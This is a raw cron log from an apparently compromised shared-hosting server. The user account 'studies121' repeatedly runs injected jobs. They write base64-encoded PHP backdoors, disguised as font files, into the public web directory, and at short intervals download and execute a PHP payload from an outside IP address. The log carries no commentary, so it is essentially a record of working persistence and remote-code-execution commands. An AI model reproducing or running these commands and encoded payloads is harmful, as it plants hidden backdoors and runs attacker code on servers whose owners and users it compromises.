Sep 10 02:33:01 ip-184-168-122-23 CROND[18364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:33:01 ip-184-168-122-23 CROND[18368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:34:01 ip-184-168-122-23 CROND[18540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:34:01 ip-184-168-122-23 CROND[18541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:34:01 ip-184-168-122-23 CROND[18542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:34:01 ip-184-168-122-23 CROND[18544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:34:01 ip-184-168-122-23 CROND[18546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:35:01 ip-184-168-122-23 CROND[18634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:35:01 ip-184-168-122-23 CROND[18635]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 02:35:02 ip-184-168-122-23 CROND[18636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:35:02 ip-184-168-122-23 CROND[18638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:35:02 ip-184-168-122-23 CROND[18637]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 02:35:02 ip-184-168-122-23 CROND[18640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:35:02 ip-184-168-122-23 CROND[18641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:35:02 ip-184-168-122-23 CROND[18642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:36:01 ip-184-168-122-23 CROND[18732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:36:01 ip-184-168-122-23 CROND[18733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:36:01 ip-184-168-122-23 CROND[18736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:36:01 ip-184-168-122-23 CROND[18737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:36:01 ip-184-168-122-23 CROND[18738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:37:01 ip-184-168-122-23 CROND[18827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:37:01 ip-184-168-122-23 CROND[18831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:37:01 ip-184-168-122-23 CROND[18829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:37:01 ip-184-168-122-23 CROND[18830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:38:01 ip-184-168-122-23 CROND[18907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:38:01 ip-184-168-122-23 CROND[18908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:38:01 ip-184-168-122-23 CROND[18911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:38:01 ip-184-168-122-23 CROND[18913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:38:01 ip-184-168-122-23 CROND[18912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:39:02 ip-184-168-122-23 CROND[19084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:39:02 ip-184-168-122-23 CROND[19087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:39:02 ip-184-168-122-23 CROND[19088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:39:02 ip-184-168-122-23 CROND[19085]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 02:39:02 ip-184-168-122-23 CROND[19086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:40:01 ip-184-168-122-23 CROND[19229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:40:01 ip-184-168-122-23 CROND[19234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:40:01 ip-184-168-122-23 CROND[19235]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:40:01 ip-184-168-122-23 CROND[19231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:40:01 ip-184-168-122-23 CROND[19232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:40:02 ip-184-168-122-23 CROND[19233]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 02:40:02 ip-184-168-122-23 CROND[19238]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 02:40:02 ip-184-168-122-23 CROND[19239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:40:02 ip-184-168-122-23 CROND[19241]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep 10 02:41:01 ip-184-168-122-23 CROND[19344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:41:01 ip-184-168-122-23 CROND[19343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:41:01 ip-184-168-122-23 CROND[19347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:41:01 ip-184-168-122-23 CROND[19348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:42:01 ip-184-168-122-23 CROND[19435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:42:01 ip-184-168-122-23 CROND[19440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:42:01 ip-184-168-122-23 CROND[19438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:42:01 ip-184-168-122-23 CROND[19439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:42:01 ip-184-168-122-23 CROND[19437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:43:02 ip-184-168-122-23 CROND[19522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:43:02 ip-184-168-122-23 CROND[19525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:43:02 ip-184-168-122-23 CROND[19524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:43:02 ip-184-168-122-23 CROND[19526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:44:01 ip-184-168-122-23 CROND[19613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 02:44:01 ip-184-168-122-23 CROND[19614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 02:44:01 ip-184-168-122-23 CROND[19615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 02:44:01 ip-184-168-122-23 CROND[19621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 02:44:01 ip-184-168-122-23 CROND[19618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 02:45:01 ip-184-168-122-23 CROND[19707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 02:45:01 ip-184-168-122-23 CROND[19710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
